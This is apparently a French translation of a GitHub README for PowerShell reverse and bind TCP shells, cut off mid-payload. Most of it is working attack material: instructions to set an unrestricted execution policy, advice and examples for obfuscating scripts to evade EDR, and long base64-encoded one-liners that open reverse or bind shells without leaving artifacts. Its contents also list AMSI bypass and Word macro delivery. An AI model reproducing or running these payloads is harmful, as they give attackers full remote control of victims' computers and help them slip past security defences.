powershell-reverse-tcp

# PowerShell Reverse TCP

Scripts PowerShell pour communiquer avec un hôte distant.

L'hôte distant aura un contrôle total sur le client et toutes les commandes système sous-jacentes.

Consultez les shells basés sur :

* la commande PowerShell Invoke-Expression [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression),
* les process pipes [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes).

Testé avec PowerShell v5.1.19041.2673 sur Windows 10 Enterprise OS (64-bit).

Réalisé à des fins éducatives. J'espère que cela vous aidera !

**Ce dépôt commence à avoir des signatures connues et je n'ai pas le temps de télécharger de nouveaux scripts à chaque fois, vous devez donc obfusquer ces scripts vous-même.**

Projets futurs :

* davantage de shells basés sur les process pipes, et les optimiser davantage.

## Table of Contents

* [How to Run](#how-to-run)
* [Obfuscate PowerShell Scripts](#obfuscate-powerShell-scripts)
	* [PowerShell Encoded Command](#powershell-encoded-command)
	* [SecureString](#securestring)
* [AMSI Bypass](#amsi-bypass)
* [MS Word Integration](#ms-word-integration)
* [Set Up a Listener](#set-up-a-listener)
* [Runtime](#runtime)

## How to Run

**Modifiez l'adresse IP et le numéro de port dans les scripts selon vos besoins.**

Ouvrez PowerShell depuis [\\src\\invoke_expression\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/invoke_expression/original) ou [\\src\\process_pipes\\original\\](https://github.com/ivan-sincek/powershell-reverse-tcp/tree/master/src/process_pipes/original) et exécutez les commandes ci-dessous.

Définissez la politique d'exécution :```pwsh
Set-ExecutionPolicy Unrestricted
```
Exécutez le script:```pwsh
.\powershell_reverse_tcp.ps1
```
Ou, exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```pwsh
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
```
## Obscurcir des scripts PowerShell

Essayez de contourner les EDR et autres mécanismes de sécurité en obscurcissant vos scripts. Vous pouvez voir de tels obscurcissements dans les exemples ci-dessous.

Commande PowerShell d'origine:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
```
Commande PowerShell obfusquée :```pwsh
& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'
```
**Consultez le script PowerShell original [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) et celui entièrement obscurci [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

Après [l'obscurcissement manuel](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), le script PowerShell original a été obscurci avec [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Crédits à l'auteur !

Recherchez sur Internet des techniques et méthodes d'obscurcissement supplémentaires.

P.S. Comme PowerShell est constamment mis à jour, certaines expressions régulières (par exemple `*ke-E*`) peuvent commencer à générer des exceptions en raison de plusieurs méthodes correspondant à la même expression, donc les expressions devront être spécifiées un peu mieux.

### Commande encodée PowerShell

Pour générer une commande encodée PowerShell à partir d'un script PowerShell, exécutez la commande PowerShell suivante :```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
```
Pour décoder une commande PowerShell encodée, exécutez la commande PowerShell suivante :```pwsh
[Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
```
Utilisez les one-liners ci-dessous si vous ne voulez laisser aucun artefact derrière.

---

**\[Reverse TCP - Invoke-Expression\]** Pour passer des paramètres à la commande PowerShell encodée, exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAAgAD0AIAAkACgAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBFAG4AdABlAHIAIABwAG8AcgB0ACAAbgB1AG0AYgBlAHIAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgAGkAZgAgACgAJABhAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAIAAtAG8AcgAgACQAcAAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYwAgAD0AIAAkAHMAIAA9ACAAJABiACAAPQAgACQAdwAgAD0AIAAkAGQAIAA9ACAAJAByACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgACQAYgB5ACAAPQAgADAAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGQAIAArAD0AIAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAcwAuAEQAYQB0AGEAQQB2AGEAaQBsAGEAYgBsAGUAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgAD0AIAAkAGQALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAkAGQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApACAAewAgAHQAcgB5ACAAewAgACQAcgAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJAByACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIABpAGYAIAAoACQAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJAByACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHIAOwAgAH0AIAB9ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsA
```
Le script encodé demandera une entrée. Voir le script légèrement modifié [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1) - utilisé le script [minifié](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) pour réduire la longueur de la commande.

**\[Reverse TCP - Process Pipes\]** Pour passer des paramètres à la commande PowerShell encodée, exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8AIAA9ACAAJABlAGUAIAA9ACAAJABvAGUAIAA9ACAAJABuAHUAbABsADsAIAB0AHIAeQAgAHsAIAAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhACwAIAAkAHAAdAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAHMALgBSAGUAYQBkAFQAaQBtAGUAbwB1AHQAIAA9ACAANQA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACwAIAAxADAAMgA0ACkAOwAgACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7ACAAJABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzADsAIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3ACAAPQAgACQAdAByAHUAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQBdADoAOgBIAGkAZABkAGUAbgA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4ARQByAHIAbwByAEQAaQBhAGwAbwBnACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAHAALgBFAG4AYQBiAGwAZQBSAGEAaQBzAGkAbgBnAEUAdgBlAG4AdABzACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHMAYgAgAD0AIAB7ACAAaQBmACAAKAAkAEUAdgBlAG4AdABBAHIAZwBzAC4ARABhAHQAYQAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJABFAHYAZQBuAHQALgBNAGUAcwBzAGEAZwBlAEQAYQB0AGEALgBBAHAAcABlAG4AZABMAGkAbgBlACgAJABFAHYAZQBuAHQAQQByAGcAcwAuAEQAYQB0AGEAKQA7ACAAfQAgAH0AOwAgACQAZQBlACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABwACAALQBFAHYAZQBuAHQATgBhAG0AZQAgACIARQByAHIAbwByAEQAYQB0AGEAUgBlAGMAZQBpAHYAZQBkACIAIAAtAEEAYwB0AGkAbwBuACAAJABzAGIAIAAtAE0AZQBzAHMAYQBnAGUARABhAHQAYQAgACQAZQA7ACAAJABvAGUAIAA9ACAAUgBlAGcAaQBzAHQAZQByAC0ATwBiAGoAZQBjAHQARQB2AGUAbgB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHAAIAAtAEUAdgBlAG4AdABOAGEAbQBlACAAIgBPAHUAdABwAHUAdABEAGEAdABhAFIAZQBjAGUAaQB2AGUAZAAiACAALQBBAGMAdABpAG8AbgAgACQAcwBiACAALQBNAGUAcwBzAGEAZwBlAEQAYQB0AGEAIAAkAG8AOwAgACQAcAAuAFMAdABhAHIAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHAALgBCAGUAZwBpAG4ARQByAHIAbwByAFIAZQBhAGQATABpAG4AZQAoACkAOwAgACQAcAAuAEIAZQBnAGkAbgBPAHUAdABwAHUAdABSAGUAYQBkAEwAaQBuAGUAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgAHcAaABpAGwAZQAgACgAIQAkAHAALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgAHQAcgB5ACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHAALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AC4AVwByAGkAdABlACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAZQBsAHMAZQAgAHsAIABiAHIAZQBhAGsAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEkAbgB2AG8AYwBhAHQAaQBvAG4ARQB4AGMAZQBwAHQAaQBvAG4AXQAgAHsAfQAgAGkAZgAgACgAJABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAG8ALgBUAG8AUwB0AHIAaQBuAGcAKAApACkAOwAgACQAbwAuAGMAbABlAGEAcgAoACkAOwAgAH0AIABpAGYAIAAoACQAbwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJABvAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAAkAG8ALgBjAGwAZQBhAHIAKAApADsAIAB9ACAAfQAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAZQBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABlAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlAGUAOwAgAH0AIABpAGYAIAAoACQAbwBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABvAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABvAGUAOwAgAH0AIABpAGYAIAAoACQAcAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABwAC4AQwBsAG8AcwBlACgAKQA7ACAAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHAAOwAgAH0AIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=
```
Le script encodé demandera une saisie. Voir le script légèrement modifié [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/powershell_reverse_tcp_prompt.ps1) - utilisé le script [minifié](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) pour réduire la longueur de la commande.

---

**\[Bind TCP - Invoke-Expression\]** Pour passer des paramètres à la commande PowerShell encodée, exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```pwsh
PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAHAALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAQgBpAG4AZAAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAbAAgAD0AIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABkACAAPQAgACQAcgAgAD0AIAAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAIgAwAC4AMAAuADAALgAwACIALAAgACQAcAApADsAIAAkAGwALgBTAHQAYQByAHQAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuAGAAbgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AYABuACIAOwAgAGQAbwAgAHsAIABpAGYAIAAoACQAbAAuAFAAZQBuAGQAaQBuAGcAKAApACkAIAB7ACAAJABjACAAPQAgACQAbAAuAEEAYwBjAGUAcAB0AFQAYwBwAEMAbABpAGUAbgB0ACgAKQA7ACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADUAMAAwADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABjACAALQBlAHEAIAAkAG4AdQBsAGwAKQA7ACAAJABsAC4AUwB0AG8AcAAoACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7A